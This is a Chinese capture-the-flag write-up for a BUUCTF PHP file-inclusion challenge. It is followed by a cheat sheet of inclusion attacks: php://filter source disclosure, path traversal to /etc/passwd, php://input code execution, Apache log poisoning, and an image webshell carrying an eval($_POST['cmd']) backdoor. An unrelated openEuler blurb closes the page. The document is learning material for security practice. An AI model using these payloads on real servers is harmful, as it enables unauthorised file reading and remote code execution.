buuctf [include]
一个PHP文件里,去‘调用’另一个文件内容。让我们能够用‘特殊方式’来读取或者处理数据,而不是直接读取文件。类型例子说明真协议http://,https://,ftp://访问外部网战或服务器伪协议php://,data://,file://不是去网上找东西,而是让PHP用特殊方式处理本地数据。
进入靶机。

看到网址上新添加了一段东西,显然这是文件包含。
但服务器执行了这个PHP文件,输出了运行结果。flag可能藏在源代码里,所以我们需要去尝试PHP伪协议,来读取代码。
构造payloadL:
?filer=php://filter/convert.base64-encode/resource=flag.php

得到编码后的代码,用在线工具解码,得到flag。

1,什么是文件包含:
一个PHP文件里,去‘调用’另一个文件内容。
2,怎么去判断是不是文件包含:
1,看URL:有没有类似下面的参数
?file=xxx
?page=xxx
?include=xxx
.......
2.尝试读取敏感文件:(可以直接拿到敏感信息)
?page=../../../../etc/password (Linux文件系统结构)
?Page=../../../../windows/win.ini (windows)
3.看报错信息:
如果出现 fsiled to open stream:No such file 之类的提示,多半是存在文件包含。
3.什么是PHP伪协议:
让我们能够用‘特殊方式’来读取或者处理数据,而不是直接读取文件。
类型 例子 说明
真协议 http://,https://,ftp:// 访问外部网战或服务器
伪协议 php://,data://,file:// 不是去网上找东西,而是让PHP用特殊方式处理本地数据
4.基本的两种伪协议;
Php://filter :读取PHP文件源码
php://filter/convert.base64-encode/resource=要读取文件
Php://input :把POST的内容当代码执行
POST数据:<?php system('ls'); ?>
?file=php://input
5.为什么要这样构造payloadL:
php://filter 用PHP的“过滤器流”,可以处理数据
/convert.base64-encode 应用Base64编码过滤器
/resource=flag.php 指定要操作的文件是flag.php
连起来就是:
“把flag.php的原始内容,先用Base64编码,然后返回给我。”
6.文件包含,有哪些解决方法:
1.直接读取:
?file=../../../../flag.txt
?page=/etc/password
?path=../config.php
读不了的,用过滤器:
php://filter/convert.base64-encode/resource=要读取文件
2.写不了的文件,但能包含日志:
先找到日志路径。
污染日志:访问<?php phpinfo();?>(URL或User-Agent里写),日志会记录。
包含日志文件: ?file。。/。。/。。/。。/var/log/apache2/access.log,恶意代码被执行。
3.能上传图片,但不能传PHP:
制作图片马。
· 准备一张正常图片 cat.jpg
· 准备一句话木马 shell.php:
<?php @eval($_POST['cmd']); ?>
· Windows合并:
copy /b cat.jpg+shell.php cat_shell.jpg
上传到服务器,记住路径。
包含执行: ?file=../../uploads/cat_shell.jpg
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)